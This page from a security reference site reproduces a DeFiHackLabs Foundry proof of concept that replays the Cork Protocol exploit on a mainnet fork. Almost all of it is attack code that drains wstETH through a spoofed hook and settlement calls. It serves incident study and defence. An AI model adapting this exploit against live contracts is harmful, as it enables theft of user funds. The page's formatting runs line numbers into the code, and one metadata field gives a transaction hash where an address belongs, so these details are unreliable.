Public reproduction file
src/test/2025-05/Corkprotocol_exp.sol
Public reproduction file for dataset entry Corkprotocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity 0.8.26;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 12M USD7// Attacker : 0xea6f30e360192bae715599e15e2f765b49e4da988// Attack Contract : https://etherscan.io/address/0x9af3dce0813fd7428c47f57a39da2f6dd7c9bb099// Vulnerable Contract : 10// Attack Txs: https://app.blocksec.com/explorer/tx/eth/0xfd89cdd0be468a564dd525b222b728386d7c6780cf7b2f90d2b54493be09f64d12// @Info13// Vulnerable Contract Code : 15// @Analysis16// Post-mortem : https://x.com/SlowMist_Team/status/192810075615619495517// Twitter Guy : https://x.com/SlowMist_Team/status/192810075615619495518// Hacking God : N/A20address constant ERC1967Proxy = 0xCCd90F6435dd78C4ECCED1FA4db0D7242548a2a9;21address constant LiquidityToken = 0x05816980fAEC123dEAe7233326a1041f372f4466;22address constant WstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;23address constant ERC1967Proxy2 = 0x96E0121D1cb39a46877aaE11DB85bc661f88D5fA;24address constant CorkConfig = 0xF0DA8927Df8D759d5BA6d3d714B1452135D99cFC;25address constant CorkHook = 0x5287E8915445aee78e10190559D8Dd21E0E9Ea88;26address constant PoolManager = 0x000000000004444c5dc75cB358380D2e3dE08A90;27address constant _pa = 0xCd5fE23C85820F7B72D0926FC9b05b43E359b7ee;28address constant _exchangeRateProvider = 0x7b285955DdcbAa597155968f9c4e901bb4c99263;29address constant _erc1967Proxy = 0x55B90B37416DC0Bd936045A8110d1aF3B6Bf0fc3;30address constant attacker = 0xEA6f30e360192bae715599E15e2F765B49E4da98;32contract ContractTest is Test {33 function setUp() public {34 vm.createSelectFork("mainnet", 22581020 - 1);35 }37 function testPoC() public {38 emit log_named_decimal_uint("before attack: balance of attacker", IERC20(WstETH).balanceOf(attacker), 18);39 vm.startPrank(attacker, attacker);40 AttackerC attC = new AttackerC();41 // Approve in https://app.blocksec.com/explorer/tx/eth/0xb54308956e58fc124503e01eaae153e54eb738fd188e476460dba78e61793b4542 IERC20(WstETH).approve(address(attC), 1928391283912839123812839123000000000000000000);43 // Approve in https://app.blocksec.com/explorer/tx/eth/0x89ba58edaf9f40dc0c781c40351ba392be31263faa6be3a29c2ee152f271df6d?line=044 IERC20(LiquidityToken).approve(address(attC), 123981298312831298398123000000000000000000);45 attC.attack();46 vm.stopPrank();47 emit log_named_decimal_uint("after attack: balance of attacker", IERC20(WstETH).balanceOf(attacker), 18);48 }49}51contract AttackerC is Test {52 function attack() public {53 uint256 balLT = IERC20(LiquidityToken).balanceOf(attacker);54 IERC20(LiquidityToken).transferFrom(attacker, address(ERC1967Proxy), balLT);56 uint256 balW = IERC20(WstETH).balanceOf(attacker);57 IERC20(WstETH).transferFrom(attacker, address(this), balW);59 (address[] memory ct, address[] memory ds) = IERC1967ProxyB(ERC1967Proxy2).getDeployedSwapAssets(60 address(WstETH), 61 _pa, 62 uint256(493150684700) * 1e6, 63 7776001, 64 _exchangeRateProvider, 65 uint8(0), 66 uint8(7)67 );69 address ct2 = ct[1];70 address ds2 = ds[1];72 (uint256 rA, uint256 rB) = ICorkHook(CorkHook).getReserves(address(WstETH), ct2);74 // approve CorkHook for both tokens75 IERC20(WstETH).approve(address(CorkHook), type(uint256).max);76 IERC20(ct2).approve(address(CorkHook), type(uint256).max);78 uint256 minOut = (rB * 9999) / 10000;79 ICorkHook(CorkHook).swap(address(WstETH), address(ct2), 0, minOut, "");81 IERC20(WstETH).approve(address(CorkHook), 0);82 IERC20(ct2).approve(address(CorkHook), 0);84 // approve ERC1967Proxy for WstETH and depositPsm85 IERC20(WstETH).approve(address(ERC1967Proxy), type(uint256).max);86 (uint256 received, uint256 _exchangeRate) = IERC1967ProxyA(ERC1967Proxy).depositPsm(87 bytes32(0x6b1d373ba0974d7e308529a62e41cec8bac6d71a57a1ba1b5c5bf82f6a9ea07a), 88 4e1589 );90 IERC20(WstETH).approve(address(ERC1967Proxy), 0);92 ICorkConfig(CorkConfig).initializeModuleCore(93 address(WstETH), 94 ds2, 95 uint256(1), 96 uint256(100), 97 address(this)98 );100 bytes32 id = IERC1967ProxyA(ERC1967Proxy).getId(101 address(WstETH), 102 ds2, 103 uint256(1), 104 uint256(100), 105 address(this)106 );108 ICorkConfig(CorkConfig).issueNewDs(id, block.timestamp * 10);110 (address[] memory n_ct, address[] memory n_ds) = IERC1967ProxyB(ERC1967Proxy2).getDeployedSwapAssets(111 ds2, 112 address(WstETH), 113 uint256(1), 114 uint256(100), 115 address(this), 116 uint8(0), 117 uint8(1)118 );120 address ct3 = n_ct[0];121 address ds3 = n_ds[0];123 IERC20(ds2).approve(address(ERC1967Proxy), type(uint256).max);125 uint256 balRa7 = IERC20(ds2).balanceOf(address(this));126 // may revert127 IERC1967ProxyA(ERC1967Proxy).depositLv(128 id, 129 balRa7 / 2, 130 0, 131 0, 132 0, 133 block.timestamp * 10134 );136 bytes memory data = abi.encode(137 ds2, 138 ct3, 139 id, 140 ds3141 );142 (bool ok, ) = address(PoolManager).call(143 abi.encodeWithSelector(144 IPoolManager.unlock.selector, 145 data146 )147 );149 uint256 balCT2 = IERC20(ct2).balanceOf(address(this));150 uint256 balDS2 = IERC20(ds2).balanceOf(address(this));152 IERC20(ct2).approve(address(ERC1967Proxy), type(uint256).max);153 IERC20(ds2).approve(address(ERC1967Proxy), type(uint256).max);155 IERC1967ProxyA(ERC1967Proxy).returnRaWithCtDs(156 bytes32(0x6b1d373ba0974d7e308529a62e41cec8bac6d71a57a1ba1b5c5bf82f6a9ea07a), 157 // id,158 balCT2159 );161 IERC20(WstETH).approve(address(ERC1967Proxy), 0);162 IERC20(WstETH).approve(address(CorkHook), 0);163 IERC20(WstETH).approve(address(_erc1967Proxy), 0);165 withdraw();166 }168 function beforeSwap(address sender, PoolKey memory key, SwapParams memory params, bytes memory data) internal {169 (bool success, ) = CorkHook.call(170 abi.encodeWithSelector(171 ICorkHook.beforeSwap.selector, 172 sender, 173 key, 174 params,175 data176 )177 );178 }180 function unlockCallback(bytes calldata cd) external returns (bytes memory){181 (address ds2, address ct3, bytes32 id, address ds3) = abi.decode(cd, (address, address, bytes32, address));182 uint bal = IERC20(ds2).balanceOf(_erc1967Proxy);184 IPoolManager(PoolManager).sync(ct3);185 PoolKey memory key = PoolKey({186 currency0: ct3,187 currency1: ds2,188 fee: 0,189 tickSpacing: 1,190 hooks: address(this)191 });192 bytes memory hookData = abi.encode(193 uint256(1), 194 address(this), 195 uint256(0),196 bal,197 id,198 uint256(1)199 );201 beforeSwap(_erc1967Proxy, key, SwapParams({202 zeroForOne: true,203 amountSpecified: 100000000000000,204 sqrtPriceLimitX96: 79228162514264337593543950336205 }), hookData);207 IERC20(ct3).approve(address(PoolManager), 123);208 IERC20(ct3).transfer(address(PoolManager), 110987905101460);210 uint256 r = IPoolManager(PoolManager).settleFor(address(CorkHook));212 beforeSwap(_erc1967Proxy, key, SwapParams({213 zeroForOne: false,214 amountSpecified: int256(r),215 sqrtPriceLimitX96: 79228162514264337593543950336216 }), hex"");219 IERC20(ds3).approve(address(ERC1967Proxy), type(uint256).max);220 IERC20(ct3).approve(address(ERC1967Proxy), type(uint256).max);222 uint256 balDs2 = IERC20(ct3).balanceOf(address(this));224 IERC1967ProxyA(ERC1967Proxy).returnRaWithCtDs(225 id, 226 balDs2227 );229 IPoolManager(PoolManager).sync(ds2);230 IERC20(ds2).transfer(address(PoolManager), 1);232 IPoolManager(PoolManager).settleFor(address(CorkHook));234 return hex"";235 }237 function rate() public view returns (uint256) {238 return 0;239 }241 function rate(bytes32) public view returns (uint256) {242 return 1;243 }245 function withdraw() public {246 uint256 bal = IERC20(WstETH).balanceOf(address(this));247 IERC20(WstETH).transfer(attacker, bal); 248 }249}252interface IERC1967ProxyA {253 function returnRaWithCtDs(bytes32, uint256) external returns (uint256);254 function depositPsm(bytes32, uint256) external returns (uint256, uint256);255 function depositLv(bytes32, uint256, uint256, uint256, uint256, uint256) external returns (uint256);256 function getId(address, address, uint256, uint256, address) external returns (bytes32); 257}258interface IERC1967ProxyB {259 function getDeployedSwapAssets(address, address, uint256, uint256, address, uint8, uint8) external returns (address[] memory, address[] memory); 260}261interface ICorkConfig {262 function issueNewDs(bytes32, uint256) external;263 function initializeModuleCore(address, address, uint256, uint256, address) external; 264}266struct PoolKey {267 address currency0;268 address currency1;269 uint24 fee;270 int24 tickSpacing;271 address hooks;272}274struct SwapParams {275 bool zeroForOne;276 int256 amountSpecified;277 uint160 sqrtPriceLimitX96;278}280interface ICorkHook {281 function swap(address, address, uint256, uint256, bytes calldata) external returns (uint256);282 function getReserves(address, address) external returns (uint256, uint256); 283 function beforeSwap(address, PoolKey calldata, SwapParams calldata, bytes calldata) external returns (bytes4, int256, uint24);284}285interface IPoolManager {286 function unlock(bytes calldata) external returns (bytes memory); 287 function settleFor(address) external returns (uint256);288 function sync(address) external;290}Analysis
Dataset entry
Public Foundry test for “Corkprotocol” (2025-05-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xea6f30e360192bae715599e15e2f765b49e4da98
- Attack Contract
0x9af3dce0813fd7428c47f57a39da2f6dd7c9bb09
- Vulnerable Contract
0xfd89cdd0be468a564dd525b222b728386d7c6780
- Attack Tx
0xfd89cdd0be468a564dd525b222b728386d7c6780cf7b2f90d2b54493be09f64d
File record
- Name
- Corkprotocol
- Path
- src/test/2025-05/Corkprotocol_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 496ba1dbce999052a7b4c08104e5af43542c2990
- Language
- Solidity
- Size
- 291 lines
- Date
- 2025-05-28
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/Corkprotocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 496ba1dbce999052a7b4c08104e5af43542c2990, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.